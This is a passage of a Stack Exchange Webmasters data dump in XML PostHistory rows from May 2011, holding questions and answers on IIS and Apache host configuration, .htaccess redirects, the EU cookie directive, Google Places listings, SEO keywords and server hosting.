  <row Id="33967" PostHistoryTypeId="2" PostId="14490" RevisionGUID="7b539d96-1ec8-41c9-ade2-dc67fcd8d5b1" CreationDate="2011-05-27T14:44:55.847" UserId="7405" Text="Have a look at [Fiddler][1].  You launch the application from your local machine and can see each and every HTTP request being made to load up your page.  That will tell you for sure all of the elements that may be making non-SSL requests.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fiddler2.com/fiddler2/" />
  <row Id="33968" PostHistoryTypeId="2" PostId="14491" RevisionGUID="8db8cbf0-7b7e-4596-89ed-f2d79c397205" CreationDate="2011-05-27T15:03:48.427" UserId="7405" Text="How a website responds in IIS (any version) largely depends on how you setup the website.  That statement (and the answer that follows) is also true for other web servers such as Apache.  There are three primary &quot;keys&quot; that identify a website in IIS:&#xD;&#xA;&#xD;&#xA; 1. IP address&#xD;&#xA; 2. Port&#xD;&#xA; 3. Host headers&#xD;&#xA;&#xD;&#xA;Consider the following example:&#xD;&#xA;&#xD;&#xA;DNS 'A' record for www.yourwebsite.com points to 192.168.10.200 (which is your host server IP address).  When you setup your website in IIS, you indicate that it should be listening on that IP address (and not &quot;All Unassigned&quot;).  It will be listening over port 80 by default.  If that is the only website setup on that server (and thus, that IP address), and you do not include a host header in the website configuration, IIS will respond if you enter either 'http://www.yourwebsite.com' or 'http://192.168.10.200.'&#xD;&#xA;&#xD;&#xA;If you have a situation where you have multiple websites on the same IP address, then you will have to setup the websites in IIS to either user host headers or a different port number.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33969" PostHistoryTypeId="25" PostId="14484" RevisionGUID="657698bf-f704-445d-bca2-60f69fd93506" CreationDate="2011-05-27T15:13:05.637" Comment="http://twitter.com/#!/StackWebmasters/status/74131010249441281" />
  <row Id="33970" PostHistoryTypeId="2" PostId="14492" RevisionGUID="c80775e7-de6f-4fcf-a5ff-561cc7ff35f2" CreationDate="2011-05-27T15:40:23.147" UserId="1643" Text="Adding &#xD;&#xA;&#xD;&#xA;    RewriteBase /&#xD;&#xA;&#xD;&#xA;seems to help some people." />
  <row Id="33971" PostHistoryTypeId="2" PostId="14493" RevisionGUID="8b57750e-38f6-4e92-a1ae-b688e868f5b7" CreationDate="2011-05-27T15:47:54.257" UserId="7669" Text="I have a main site with a bunch of subdomains created. Each subdomain is a blog and I want each blog to have its own domain name i.e.&#xD;&#xA;&#xD;&#xA;thisguy.com -&gt; blog1.mainsite.com&#xD;&#xA;thatguy.com -&gt; blog2.mainsite.com&#xD;&#xA;&#xD;&#xA;I bought the new domains and I set up the CNAME records as above to alias them to the appropriate subdomains. However, I get my hosts &quot;a domain is pointing to one of our servers but we don't know anything about it&quot; landing page.&#xD;&#xA;&#xD;&#xA;How can I set up these domains as aliases of my subdomains?" />
  <row Id="33972" PostHistoryTypeId="1" PostId="14493" RevisionGUID="8b57750e-38f6-4e92-a1ae-b688e868f5b7" CreationDate="2011-05-27T15:47:54.257" UserId="7669" Text="How can I alias domains to subdomains?" />
  <row Id="33973" PostHistoryTypeId="3" PostId="14493" RevisionGUID="8b57750e-38f6-4e92-a1ae-b688e868f5b7" CreationDate="2011-05-27T15:47:54.257" UserId="7669" Text="&lt;subdomain&gt;" />
  <row Id="33974" PostHistoryTypeId="2" PostId="14494" RevisionGUID="11d6fdc1-143d-429f-997c-13c8f4c5c407" CreationDate="2011-05-27T15:51:53.977" UserId="1643" Text="You need these entries in the .htaccess file at the root of your hosting (i.e.  where mainsite.com goes)&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^thisguy.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.thisguy.com$&#xD;&#xA;    RewriteRule ^/?$ &quot;http\:\/\/blog1\.mainsite\.com&quot; [R=301,L]&#xD;&#xA;&#xD;&#xA;and so on for thatguy.com and blog2." />
  <row Id="33975" PostHistoryTypeId="2" PostId="14495" RevisionGUID="2324841f-c304-440e-a818-7a29f8b699b8" CreationDate="2011-05-27T16:07:39.147" UserId="7198" Text="The &quot;excitement&quot; relates to confusion about how the new directive (PDF: [2009/136/EC](http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=OJ%3aL:2009:337:0011:0036%3aEn%3aPDF)) should be interpreted and implemented, and whether or not it's fair to European webmasters:&#xD;&#xA;&#xD;&#xA;###Do the laws apply to third party cookies?&#xD;&#xA;The UK data protection body in charge of enforcing the laws in Britain says in their guidelines that they're seeking clarification ([see my answer here](http://webmasters.stackexchange.com/questions/14473/google-analytics-and-the-eu-cookie-directive-who-will-fall-foul-of-the-law-goog/14478#14478)), but until then, we don't know whether we'll have to ask permission to use third-party cookies from Google Analytics, for example.&#xD;&#xA;&#xD;&#xA;###Might the laws cripple EU websites?&#xD;&#xA;If it turns out that the new laws require European webmasters to ask each visitor's permission to use third-party cookies, this will affect a lot of websites and render analytics, affiliate systems, usability testing, and even video embedding from third-parties (many of which use cookies) unusable or far less effective. It will also require many site owners who otherwise wouldn't have had to issue a request to store cookies to suddenly do so, drop the services, or seek cookie-less alternatives.&#xD;&#xA;&#xD;&#xA;###Does the directive apply to services hosted outside of the EU?&#xD;&#xA;Related to the above, if I run a business from the UK but run a business blog on a hosted service outside the EU that makes use of 'unnecessary' cookies, must I rebuild my theme to request permission to use them? If so, will the service be prepared to provide this functionality? If not, do I have to migrate my blog elsewhere? These questions are yet to be answered.&#xD;&#xA;&#xD;&#xA;###How best to obtain permission?&#xD;&#xA;The new directive exists to ensure that people without technical knowledge have the same control over their privacy as more technical users. It does this by turning an opt-out system (&quot;here's a cookie, you can always vomit it out if you don't want it&quot;) into an opt-in system (&quot;would you like a cookie? here's what's in it&quot;).&#xD;&#xA;&#xD;&#xA;The new laws are great for consumers, welcomed by privacy groups, more closely aligned with opt-in email and permission marketing conduct, and in line with the sentiment expressed by movements like &lt;a href=&quot;http://blog.sidstamm.com/2011/01/opting-out-of-behavioral-ads.html&quot;&gt;Do Not Track,&lt;/a&gt; which hope to block information harvesting techniques employed by behavioural ad networks.&#xD;&#xA;&#xD;&#xA;The trouble is that opt-in systems carry more interface overhead than opt-out ones, because a request for permission has to be made to every user. Article 66 of the directive says:&#xD;&#xA;&#xD;&#xA;&gt; &quot;The methods of pro­viding information and offering the right to refuse should &#xD;&#xA;be as user-friendly as possible.&quot;&#xD;&#xA;&#xD;&#xA;Unfortunately, they leave the actual method as an exercise for the reader. This is probably a good thing, because having the method dictated might make implementing the law even more painful. That said, it still raises a lot of questions about the best way to gain consent.&#xD;&#xA;&#xD;&#xA;The ICO has stepped in to offer a list of six methods to request cookies ([see page 6](http://www.ico.gov.uk/news/current_topics/~/media/documents/library/Privacy_and_electronic/Practical_application/advice_on_the_new_cookies_regulations.ashx)). They admit that no solution is ideal:&#xD;&#xA;&#xD;&#xA; 1. **Pop ups** (ugly - see [this discussion](http://ux.stackexchange.com/q/7318/5124) - and often ignored by users)&#xD;&#xA; 2. **New terms and conditions** (users must explicitly agree to them before using the site)&#xD;&#xA; 3. **Settings-led consent** (good for visual customisation, not so good for analytics)&#xD;&#xA; 4. **Feature-led consent** (still have to make users aware that cookies are in use)&#xD;&#xA; 5. **Functional uses** (they suggest a permanent 'permissions' area with notifications)&#xD;&#xA; 6. **Via third parties** (but they don't know how the laws apply yet)&#xD;&#xA;&#xD;&#xA;Since there's no 'one solution fits all' approach to request permission to store cookies, each site owner has to come up with their own way of doing it. Because no real thought has been given to standardising the request format or presenting a common look and feel, we're likely to see a hodge-podge of different pop ups and implementations.&#xD;&#xA;&#xD;&#xA;###Shouldn't browsers be handling this?&#xD;&#xA;The ideal scenario might be to delegate all of this to the browser, but controls for cookies aren't mature enough and, even if browser updates brought granular cookie support, we'd still have to accommodate older browsers, which makes some kind of in-page request inevitable.&#xD;&#xA;&#xD;&#xA;###Does it present a commercial disadvantage?  &#xD;&#xA;The new privacy laws might make EU Web services less attractive than US ones. As Nick Halsted of TweetMeme says:&#xD;&#xA;&#xD;&#xA;&gt; &quot;If you go to two websites with identical functionality and one of them asks you to sign a big scary box that says ‘I am tracking everything about you’, and the U.S. one doesn’t, which one are you going to sign up for?&quot; [[source](http://blogs.wsj.com/tech-europe/2011/05/09/confusion-surrounds-u-k-cookie-guidelines/)]&#xD;&#xA;&#xD;&#xA;Not only might the addition of a modal permissions bar result in decreased sign ups and engagement, but we can't even split-test alternative request methods, because tracking the results of a split test first requires us to ask the user for permission.&#xD;&#xA;&#xD;&#xA;What's more, if it turns out that EU businesses can't use Google Analytics et al without permission from each visitor (when US businesses can), isn't that a competitive disadvantage too? The US already has a thriving start-up community and funding ecosystem. Some would argue that privacy directives, while great for users, are a pain for businesses because they further stifle those competing with companies outside the EU.&#xD;&#xA;&#xD;&#xA;###Has it really been thought through?&#xD;&#xA;While the goal of empowering users with decisions over their own privacy is a noble one, the usability aspects haven't been thought through. The good news is that (in the UK, at least) we have until May 2012 to figure something out. &#xD;&#xA;&#xD;&#xA;In short, it's nothing to *worry* about, but there's a lot to *think* about. Once the ICO clarifies the case for third party cookies and other EU data protection officers have done the same, it's important that European webmasters pool resources to present a unified solution." />
  <row Id="33976" PostHistoryTypeId="5" PostId="14495" RevisionGUID="13b10d17-3387-4c9a-8028-8124aee76cf8" CreationDate="2011-05-27T16:13:27.817" UserId="7198" Comment="deleted 9 characters in body; added 2 characters in body" Text="The &quot;excitement&quot; relates to confusion about how the new directive (PDF: [2009/136/EC](http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=OJ%3aL:2009:337:0011:0036%3aEn%3aPDF)) should be interpreted and implemented, and whether or not it's fair to European webmasters:&#xD;&#xA;&#xD;&#xA;###Do the laws apply to third party cookies?&#xD;&#xA;The UK data protection body in charge of enforcing the laws in Britain says in their guidelines that they're seeking clarification ([see my answer here](http://webmasters.stackexchange.com/questions/14473/google-analytics-and-the-eu-cookie-directive-who-will-fall-foul-of-the-law-goog/14478#14478)), but until then, we don't know whether we'll have to ask permission to use third-party cookies from Google Analytics, for example.&#xD;&#xA;&#xD;&#xA;###Might the laws cripple EU websites?&#xD;&#xA;If it turns out that the new laws require European webmasters to ask each visitor's permission to use third-party cookies, this will affect a lot of websites and render analytics, affiliate systems, usability testing, and even video embedding from third-parties (many of which use cookies) unusable or far less effective. It will also require many site owners who otherwise wouldn't have had to issue a request to store cookies to suddenly do so, drop the services, or seek cookie-less alternatives.&#xD;&#xA;&#xD;&#xA;###Does the directive apply to services hosted outside of the EU?&#xD;&#xA;Related to the above, if I run a business from the UK but run a blog on a hosted service outside the EU that makes use of 'unnecessary' cookies, must I rebuild my theme to request permission to use them? If so, will the service be prepared to provide this functionality? If not, do I have to migrate my blog elsewhere? These questions are yet to be answered.&#xD;&#xA;&#xD;&#xA;###How best to obtain permission?&#xD;&#xA;The new directive exists to ensure that people without technical knowledge have the same control over their privacy as more technical users. It does this by turning an opt-out system (&quot;here's a cookie, you can always vomit it up if you don't want it&quot;) into an opt-in system (&quot;would you like a cookie? here's what's in it...&quot;).&#xD;&#xA;&#xD;&#xA;The new laws are great for consumers, welcomed by privacy groups, more closely aligned with opt-in email and permission marketing conduct, and in line with the sentiment expressed by movements like &lt;a href=&quot;http://blog.sidstamm.com/2011/01/opting-out-of-behavioral-ads.html&quot;&gt;Do Not Track,&lt;/a&gt; which hope to block information harvesting techniques employed by behavioural ad networks.&#xD;&#xA;&#xD;&#xA;The trouble is that opt-in systems carry more interface overhead than opt-out ones, because a request for permission has to be made to every user. Article 66 of the directive says:&#xD;&#xA;&#xD;&#xA;&gt; &quot;The methods of pro­viding information and offering the right to refuse should &#xD;&#xA;be as user-friendly as possible.&quot;&#xD;&#xA;&#xD;&#xA;Unfortunately, they leave the actual method as an exercise for the reader. This is probably a good thing, because having the method dictated might make implementing the law even more painful. That said, it still raises a lot of questions about the best way to gain consent.&#xD;&#xA;&#xD;&#xA;The ICO has stepped in to offer a list of six methods to request cookies ([see page 6](http://www.ico.gov.uk/news/current_topics/~/media/documents/library/Privacy_and_electronic/Practical_application/advice_on_the_new_cookies_regulations.ashx)). They admit that no solution is ideal:&#xD;&#xA;&#xD;&#xA; 1. **Pop ups** (ugly - see [this discussion](http://ux.stackexchange.com/q/7318/5124) - and often ignored by users)&#xD;&#xA; 2. **New terms and conditions** (users must explicitly agree to them before using the site)&#xD;&#xA; 3. **Settings-led consent** (good for visual customisation, not so good for analytics)&#xD;&#xA; 4. **Feature-led consent** (still have to make users aware that cookies are in use)&#xD;&#xA; 5. **Functional uses** (they suggest a permanent 'permissions' area with notifications)&#xD;&#xA; 6. **Via third parties** (but they don't know how the laws apply yet)&#xD;&#xA;&#xD;&#xA;Since there's no 'one solution fits all' approach to request permission to store cookies, each site owner has to come up with their own way of doing it. Because no real thought has been given to standardising the request format or presenting a common look and feel, we're likely to see a hodge-podge of different pop ups and implementations.&#xD;&#xA;&#xD;&#xA;###Shouldn't browsers be handling this?&#xD;&#xA;The ideal scenario might be to delegate all of this to the browser, but controls for cookies aren't mature enough and, even if browser updates brought granular cookie support, we'd still have to accommodate older browsers, which makes some kind of in-page request inevitable.&#xD;&#xA;&#xD;&#xA;###Does it present a commercial disadvantage?  &#xD;&#xA;The new privacy laws might make EU Web services less attractive than US ones. As Nick Halsted of TweetMeme says:&#xD;&#xA;&#xD;&#xA;&gt; &quot;If you go to two websites with identical functionality and one of them asks you to sign a big scary box that says ‘I am tracking everything about you’, and the U.S. one doesn’t, which one are you going to sign up for?&quot; [[source](http://blogs.wsj.com/tech-europe/2011/05/09/confusion-surrounds-u-k-cookie-guidelines/)]&#xD;&#xA;&#xD;&#xA;Not only might the addition of a modal permissions bar result in decreased sign ups and engagement, but we can't even split-test alternative request methods, because tracking the results of a split test first requires us to ask the user for permission.&#xD;&#xA;&#xD;&#xA;What's more, if it turns out that EU businesses can't use Google Analytics et al without permission from each visitor (when US businesses can), isn't that a competitive disadvantage too? The US already has a thriving start-up community and funding ecosystem. Some would argue that privacy directives, while great for users, are a pain for businesses because they further stifle those competing with companies outside the EU.&#xD;&#xA;&#xD;&#xA;###Has it really been thought through?&#xD;&#xA;While the goal of empowering users with decisions over their own privacy is a noble one, the usability aspects haven't been thought through. The good news is that (in the UK, at least) we have until May 2012 to figure something out. &#xD;&#xA;&#xD;&#xA;In short, it's nothing to *worry* about, but there's a lot to *think* about. Once the ICO clarifies the case for third party cookies and other EU data protection officers have done the same, it's important that European webmasters pool resources to present a unified solution." />
  <row Id="33977" PostHistoryTypeId="2" PostId="14496" RevisionGUID="008bd51a-733e-4030-8233-4e2e185dbc70" CreationDate="2011-05-27T16:14:41.247" UserId="7862" Text="I want to be able to display my company on Google Maps. I have a places page set up. If you search for it Google will show my business with a red marker which links to my places page.&#xD;&#xA;&#xD;&#xA;I want it to display on the map all the time. Like the TM Lewin Shop in the example below.&#xD;&#xA;&#xD;&#xA;[IMAGE of Map - Could someone with more than 10 rep change this to an image][1]&#xD;&#xA;&#xD;&#xA;[Map Link][2]&#xD;&#xA;&#xD;&#xA;How do I get it to do that. What does Google use to decide that.&#xD;&#xA;&#xD;&#xA;There are 3 business at our address. One of the companies is displayed on the map. Would that stop us displaying?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/CXtr4.png&#xD;&#xA;  [2]: http://maps.google.co.uk/maps?q=london&amp;ie=UTF8&amp;hq=&amp;hnear=Westminster,%20London,%20United%20Kingdom&amp;gl=uk&amp;ll=51.497054,-0.138622&amp;spn=0.001334,0.003484&amp;z=19&amp;iwloc=lyrftr:m,8025719665819214404,51.497219,-0.138507" />
  <row Id="33978" PostHistoryTypeId="1" PostId="14496" RevisionGUID="008bd51a-733e-4030-8233-4e2e185dbc70" CreationDate="2011-05-27T16:14:41.247" UserId="7862" Text="Display Business on Google Map" />
  <row Id="33979" PostHistoryTypeId="3" PostId="14496" RevisionGUID="008bd51a-733e-4030-8233-4e2e185dbc70" CreationDate="2011-05-27T16:14:41.247" UserId="7862" Text="&lt;google&gt;&lt;map&gt;&lt;google-maps&gt;" />
  <row Id="33980" PostHistoryTypeId="2" PostId="14497" RevisionGUID="4caaaa1f-70a9-421d-ab0c-6544df704a7a" CreationDate="2011-05-27T16:19:29.593" UserId="1253" Text="You need to be in [Google Places][1]. I'm not sure how they handle three businesses. I would guess that they choose the one most relevant to a search query.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/places/" />
  <row Id="33981" PostHistoryTypeId="2" PostId="14498" RevisionGUID="9c9225f4-8e83-44a0-b0d9-e64aeb1acaa3" CreationDate="2011-05-27T16:21:48.433" UserId="1643" Text="I think your question at the end may be the problem. Google say&#xD;&#xA;&#xD;&#xA;&gt; There shouldn't be more than one&#xD;&#xA;&gt; listing per physical location. Even if&#xD;&#xA;&gt; you're a doctor who is a cardiologist&#xD;&#xA;&gt; and a chiropractor or a service that&#xD;&#xA;&gt; covers multiple towns, you shouldn't&#xD;&#xA;&gt; have two listings. Instead, use the&#xD;&#xA;&gt; description of your business or&#xD;&#xA;&gt; categories to explain the different&#xD;&#xA;&gt; services your business offers.&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/places/bin/static.py?hl=en&amp;page=guide.cs&amp;guide=28247&amp;topic=28292&amp;answer=142902&amp;from=28062&amp;rd=1" />
  <row Id="33982" PostHistoryTypeId="2" PostId="14499" RevisionGUID="36eafb14-2f22-4d2e-822b-c1f204122a30" CreationDate="2011-05-27T16:44:07.317" UserId="7731" Text="This is probably an issue with your Apache setup.  You'll need to add &#xD;&#xA;&#xD;&#xA;`ServerAlias thisguy.com`&#xD;&#xA;&#xD;&#xA;To the blog1.mainsite.com vhost config.  It goes in the same level as ServerName." />
  <row Id="33983" PostHistoryTypeId="5" PostId="14496" RevisionGUID="50b4f788-c68b-45af-a229-73c2044fe9cf" CreationDate="2011-05-27T17:14:35.353" UserId="19" Comment="changed from link to img" Text="I want to be able to display my company on Google Maps. I have a places page set up. If you search for it Google will show my business with a red marker which links to my places page.&#xD;&#xA;&#xD;&#xA;I want it to display on the map all the time. Like the TM Lewin Shop in the example below.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Map Link][2]&#xD;&#xA;&#xD;&#xA;How do I get it to do that. What does Google use to decide that.&#xD;&#xA;&#xD;&#xA;There are 3 business at our address. One of the companies is displayed on the map. Would that stop us displaying?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/UkxBw.png&#xD;&#xA;  [2]: http://maps.google.co.uk/maps?q=london&amp;ie=UTF8&amp;hq=&amp;hnear=Westminster,%20London,%20United%20Kingdom&amp;gl=uk&amp;ll=51.497054,-0.138622&amp;spn=0.001334,0.003484&amp;z=19&amp;iwloc=lyrftr:m,8025719665819214404,51.497219,-0.138507" />
  <row Id="33984" PostHistoryTypeId="24" PostId="14496" RevisionGUID="50b4f788-c68b-45af-a229-73c2044fe9cf" CreationDate="2011-05-27T17:14:35.353" Comment="Proposed by 19 approved by 1253 edit id of 359" />
  <row Id="33985" PostHistoryTypeId="2" PostId="14500" RevisionGUID="e92ac2ae-1f89-42d5-ac57-785fc5085c2d" CreationDate="2011-05-27T18:04:54.073" UserId="1939" Text="For example, on my site I have a lot of flash content. But, I made sure to put plenty of keywords each meta  description for each page, a descriptive title for each page, all the alt tags for images should be filled, i used the h1 and h2 tags with some sentences using key words that describe the site...&#xD;&#xA;&#xD;&#xA;But my problem is that I have a large TOS and Privacy policy page, and according to google webmasters it looks like its getting most of my key words from that single page. So my top keywords look like, &quot;privacy&quot; &quot;policy&quot; &quot;liability&quot; and stuff like that which is in no way relating to my site.&#xD;&#xA;&#xD;&#xA;Incase maybe i'm just not doing something right, or if whats happening doesn't make any sense, feel free to take a look at my source code on http://apumpkinpatch.com I'd really appreciate any input that might help me get the privacy policy and tos keywords off the radar so I can get relavant searches coming to the site. Thanks!" />
  <row Id="33986" PostHistoryTypeId="1" PostId="14500" RevisionGUID="e92ac2ae-1f89-42d5-ac57-785fc5085c2d" CreationDate="2011-05-27T18:04:54.073" UserId="1939" Text="Is it possible to keep google from using certain text as keywords?" />
  <row Id="33987" PostHistoryTypeId="3" PostId="14500" RevisionGUID="e92ac2ae-1f89-42d5-ac57-785fc5085c2d" CreationDate="2011-05-27T18:04:54.073" UserId="1939" Text="&lt;seo&gt;&lt;html&gt;&lt;google-webmaster-tools&gt;&lt;keywords&gt;&lt;tags&gt;" />
  <row Id="33988" PostHistoryTypeId="2" PostId="14501" RevisionGUID="a635a428-de36-441d-8a0a-2d3116733275" CreationDate="2011-05-27T18:08:36.513" UserId="1253" Text="If you're not coming up for searches you consider relevant, it's not because you rank well for privacy and TOS searches or because you link to those pages. It's because your pages aren't (in Google's opinion) not deserving of ranking well for those searches. Ranking well for one search phrase does not preclude a page from ranking well for other search phrases.&#xD;&#xA;&#xD;&#xA;If you want your pages to rank well you will need to do a lot more then have good meta tags (useless for SEO), title, alt images, etc. You'll need to have good content that drives links to your pages. This is especially true if the search phrases you want to rank well for a competitive in any way. &#xD;&#xA;&#xD;&#xA;In your case you're handicapped by using Flash for your content. Flash is not SEO friendly. Yes, Google can crawl Flash but you lose out on important SEO tools like semantic markup and internal linking. Basically you're going to need to hope that users find your flash content good and worth linking to. Maybe you can put some content on your pages that explains how they can do that for you? Anything to help that along is a good thing." />
  <row Id="33989" PostHistoryTypeId="5" PostId="14500" RevisionGUID="cfae4f49-a444-43c0-8cc3-dc7b8b62d463" CreationDate="2011-05-27T18:09:39.557" UserId="1253" Comment="removed link to site to keep from being too localized, edited tags; edited tags" Text="For example, on my site I have a lot of flash content. But, I made sure to put plenty of keywords each meta  description for each page, a descriptive title for each page, all the alt tags for images should be filled, i used the h1 and h2 tags with some sentences using key words that describe the site...&#xD;&#xA;&#xD;&#xA;But my problem is that I have a large TOS and Privacy policy page, and according to google webmasters it looks like its getting most of my key words from that single page. So my top keywords look like, &quot;privacy&quot; &quot;policy&quot; &quot;liability&quot; and stuff like that which is in no way relating to my site.&#xD;&#xA;&#xD;&#xA;I'd really appreciate any input that might help me get the privacy policy and tos keywords off the radar so I can get relavant searches coming to the site. Thanks!" />
  <row Id="33990" PostHistoryTypeId="6" PostId="14500" RevisionGUID="cfae4f49-a444-43c0-8cc3-dc7b8b62d463" CreationDate="2011-05-27T18:09:39.557" UserId="1253" Comment="removed link to site to keep from being too localized, edited tags; edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;keywords&gt;&lt;page-ranking&gt;" />
  <row Id="33991" PostHistoryTypeId="25" PostId="14500" RevisionGUID="6305e7bb-d627-4ffd-ab03-9b89dfdf1bb7" CreationDate="2011-05-27T18:13:06.273" Comment="http://twitter.com/#!/StackWebmasters/status/74176314273304576" />
  <row Id="33992" PostHistoryTypeId="5" PostId="14501" RevisionGUID="ba55304f-6db4-401a-8a4d-2147ef305b5c" CreationDate="2011-05-27T18:23:07.177" UserId="1253" Comment="added 35 characters in body" Text="If you're not coming up for searches you consider relevant, it's not because you rank well for privacy and TOS searches or because those pages are large. It's because each page is judged on its own merit and your pages aren't (in Google's opinion) deserving of ranking well for those searches. Ranking well for one search phrase does not preclude a page from ranking well for other search phrases.&#xD;&#xA;&#xD;&#xA;If you want your pages to rank well you will need to do a lot more then have good meta tags (useless for SEO), title, alt images, etc. You'll need to have good content that drives links to your pages. This is especially true if the search phrases you want to rank well for a competitive in any way. &#xD;&#xA;&#xD;&#xA;In your case you're handicapped by using Flash for your content. Flash is not SEO friendly. Yes, Google can crawl Flash but you lose out on important SEO tools like semantic markup and internal linking. Basically you're going to need to hope that users find your flash content good and worth linking to. Maybe you can put some content on your pages that explains how they can do that for you? Anything to help that along is a good thing." />
  <row Id="34000" PostHistoryTypeId="2" PostId="14504" RevisionGUID="e772b94d-1d9a-422a-af9b-546b0a640ff6" CreationDate="2011-05-27T18:50:45.767" UserId="2209" Text="Is there a way (either client side or server side) to see who is viewing your website's source code that is generated in the their browser?" />
  <row Id="34001" PostHistoryTypeId="1" PostId="14504" RevisionGUID="e772b94d-1d9a-422a-af9b-546b0a640ff6" CreationDate="2011-05-27T18:50:45.767" UserId="2209" Text="Who's viewing website source code?" />
  <row Id="34002" PostHistoryTypeId="3" PostId="14504" RevisionGUID="e772b94d-1d9a-422a-af9b-546b0a640ff6" CreationDate="2011-05-27T18:50:45.767" UserId="2209" Text="&lt;web-development&gt;&lt;websites&gt;" />
  <row Id="34003" PostHistoryTypeId="2" PostId="14505" RevisionGUID="991f129f-76fd-4691-b723-98466f4922cc" CreationDate="2011-05-27T18:51:36.023" UserId="1253" Text="No. This is not currently possible." />
  <row Id="34004" PostHistoryTypeId="2" PostId="14506" RevisionGUID="966372bd-17bc-47f5-9b94-1a5479c51efa" CreationDate="2011-05-27T20:08:38.650" UserId="2209" Text="If you use Firefox and don't mind using add ons then there are a handful of useful add ons to help out. &#xD;&#xA;&#xD;&#xA;**[Web Developer][1]** is a very useful add on for trouble shooting alot of your issues. &#xD;&#xA;&#xD;&#xA;**[LinkChecker][2]** is a great add on for finding broken links.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/web-developer/&#xD;&#xA;  [2]: https://addons.mozilla.org/en-US/firefox/addon/linkchecker/" />
  <row Id="34005" PostHistoryTypeId="2" PostId="14507" RevisionGUID="3f2e669f-0338-4dfb-b22d-019446e84782" CreationDate="2011-05-27T20:19:23.693" UserId="2209" Text="I have not tried there 4GH hosting, but I will say this. I tried to use Godaddy before for an ASP.net application and my experience was really poor. By default your application security level is set to low which makes your task to create a pretty awesome site pretty much impossible and it's like pulling teeth trying to get them to bump you up to a medium or high security level. And then you have their friendly error messages which give you no information regarding the bug you are experiencing. I would recommend using a hosting provider that specializes in Microsoft based technologies." />
  <row Id="34006" PostHistoryTypeId="16" PostId="14507" RevisionGUID="b3e14ad7-0f00-49c3-a029-2ac1ec8b46a1" CreationDate="2011-05-27T20:19:23.693" UserId="2209" />
  <row Id="34007" PostHistoryTypeId="2" PostId="14508" RevisionGUID="4a737c86-48a9-42e9-8e27-d2fa21174236" CreationDate="2011-05-27T20:24:18.880" UserId="7869" Text="We're having some problems with our site www.inzoco.com.&#xD;&#xA;&#xD;&#xA;There are lots of old URLs being crawled again and again, even if we send a 301 code.&#xD;&#xA;&#xD;&#xA;We have checked the entire site several times with a link checker, and there are no traces of those URLs being generated anywhere, but googlebot insist and try to get them every day.&#xD;&#xA;&#xD;&#xA;We have no idea of where is the bot finding those old URLs (any way to know this?) or if, somehow, it doesn't see the redirection.&#xD;&#xA;&#xD;&#xA;This is one of the old URLs:&#xD;&#xA;&#xD;&#xA;http://www.inzoco.com/crits/2-5-5-28-0-0-28074-0-0/listado-bar-en-alquiler-en-leganes-madrid.aspx&#xD;&#xA;&#xD;&#xA;redirected with 301 Moved permanently to:&#xD;&#xA;&#xD;&#xA;http://www.inzoco.com/crits/2-5-5-28-24-0-28074-0-0/listado-bar-en-alquiler-en-leganes-madrid.aspx&#xD;&#xA;&#xD;&#xA;¿Any clue?&#xD;&#xA;&#xD;&#xA;Thanks in advance. " />
  <row Id="34008" PostHistoryTypeId="1" PostId="14508" RevisionGUID="4a737c86-48a9-42e9-8e27-d2fa21174236" CreationDate="2011-05-27T20:24:18.880" UserId="7869" Text="Googlebot crawling 301 redirected URLs again and again" />
  <row Id="34009" PostHistoryTypeId="3" PostId="14508" RevisionGUID="4a737c86-48a9-42e9-8e27-d2fa21174236" CreationDate="2011-05-27T20:24:18.880" UserId="7869" Text="&lt;redirects&gt;&lt;301-redirect&gt;" />
  <row Id="34010" PostHistoryTypeId="25" PostId="14504" RevisionGUID="b5aaca38-8dbf-437f-b661-32314f8c9daa" CreationDate="2011-05-27T21:13:07.777" Comment="http://twitter.com/#!/StackWebmasters/status/74221618372673536" />
  <row Id="34011" PostHistoryTypeId="2" PostId="14509" RevisionGUID="a99bcecf-1fa9-4917-b299-582d3b8e1ac9" CreationDate="2011-05-27T23:28:11.553" UserId="7872" Text="This is how I implemented a responsive/fluid slideshow: http://blog.kiskolabs.com/post/5602656614/responsive-jquery-slideshow" />
  <row Id="34012" PostHistoryTypeId="2" PostId="14510" RevisionGUID="50dba8a2-1bfa-45ec-b807-e05e72362836" CreationDate="2011-05-27T23:30:00.080" UserId="7873" Text="I've tried to research this question on the web using Google but anything related to hosting almost invariably brings up a ton of pseudo-review/affiliate sites.&#xD;&#xA;&#xD;&#xA;I need to host a Windows application on a server that is not based on a standard web framework.  In other words, I want to run a standard compiled EXE that handles the socket operations itself without using IIS or Apache or any other web server framework.  I just want to receive HTTP/Socket requests direct to my application that will be listening on various ports and I'll take it from there.  The application is not meant to be a public server, but a back-end to a public server that provides certain high-speed functionality to the public server (or servers) over the web. I guess a good corollary would be an API server but in this case the API will only used by my public servers.  The EXE program running on the back-end server will need to access to MySQL.  I am hoping to have MySQL running as a Windows service on the box just like I do when doing development from my Windows box in my office.&#xD;&#xA;&#xD;&#xA;Has anybody else done this and if so, can you give me guidance on:&#xD;&#xA;&#xD;&#xA;- What kind of dedicated box should I get?  I'm not asking the question from a performance or estimated number of users to support viewpoint.  That's obviously dependent on too many other factors. Just what kind of box will give me the right mix of database/web performance but at the same time isn't overkill since I'm trying to control costs.  For example, is a typical quad core with a healthy amount of memory sufficient or do you really need to get into something like a high power Xeon with tons of memory?  The EXE will be doing a lot of database access work but only minimal floating point activity.  That is, it's light on the calculations but heavy on the table accesses.&#xD;&#xA;&#xD;&#xA;- What tips can you give me for things that could really eat me alive as far as bandwidth and other ancillary costs?  I can't ask the question any better because I am looking for the things unforeseen by a novice like myself in this area that an experienced person can immediately relate to a past horror or success story.  Note, I have done plenty of LAMP 